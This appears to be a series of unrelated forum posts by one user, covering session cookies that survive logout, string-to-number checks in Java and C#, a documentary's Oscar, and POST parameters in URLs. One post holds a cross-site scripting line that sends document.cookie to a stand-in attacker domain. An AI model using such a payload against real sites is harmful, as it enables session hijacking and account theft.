Hi everyone
Not really sure if this is the right section to ask this...

On a website I noticed that even after I log out of my account my session cookie (that I noted down) was still valid. The server does not seem to destroy the session. Even when I close the browser, when I go back to the website and manually add my old cookie value, I'm back to my account as if I never logged out.

I find it weird as it is a session cookie and it is supposed to die when the browser closes.
Does someone know what would be the reason behind it? The server seems to never destroy its sessions.

There's no isNumeric function in Java either for the String class. You can use Integer.parseInt which will throw an exception if the string is not a number but that's a really bad use of exceptions.

You can use the TryParse method instead, it will not throw exception.

Also, you could use the IsNumeric function of VisualBasic in your C# application. You would need to reference the visualbasic dll in your project

Yeah sorry I thought it was not worth to start a new thread for this lil question

but... wouldn't it look more like this? : <img src="http://evildomain.com/image.php?cookie=" + document.cookie />

Yes it won the 2011 Oscar for Best Documentary.
It is narrated by Matt Damon

I like what Charles H. Ferguson said when he accepted his Oscar.
You can watch his short speech here http://www.youtube.com/watch?v=mpz5DVwnbnk

Thanks for the great tut.
There is however one thing that I didn't really understand clearly :

When we append POST parameters to a base URL we start with adding a ? to the base URL and then combine parameters by linking them with a &. An example is http://base.url/goes/here?first=parameter&second=parameter

I thought that the parameters in URLs were GET parameters, so how is this possible?
I tried it on a website; I used Tamper Data to know what the Post Parameters of the Form are, and I then made an URL with the parameters appended to it and it worked great! Nonetheless I still don't understand how it works/how it is possible to pass Post parameters in the URL. Why on some site you can pass the post parameters in the url, and on some other sites you can't ?

I know that in PHP, to get Post variables it is  $_POST['variblename'] and to get Get variables we do  $_GET['variblename'];
Sorry if this sounds like a noob (which I am) question. I'd like to know more about it. If someone can enlighten me, it'd be very appreciated.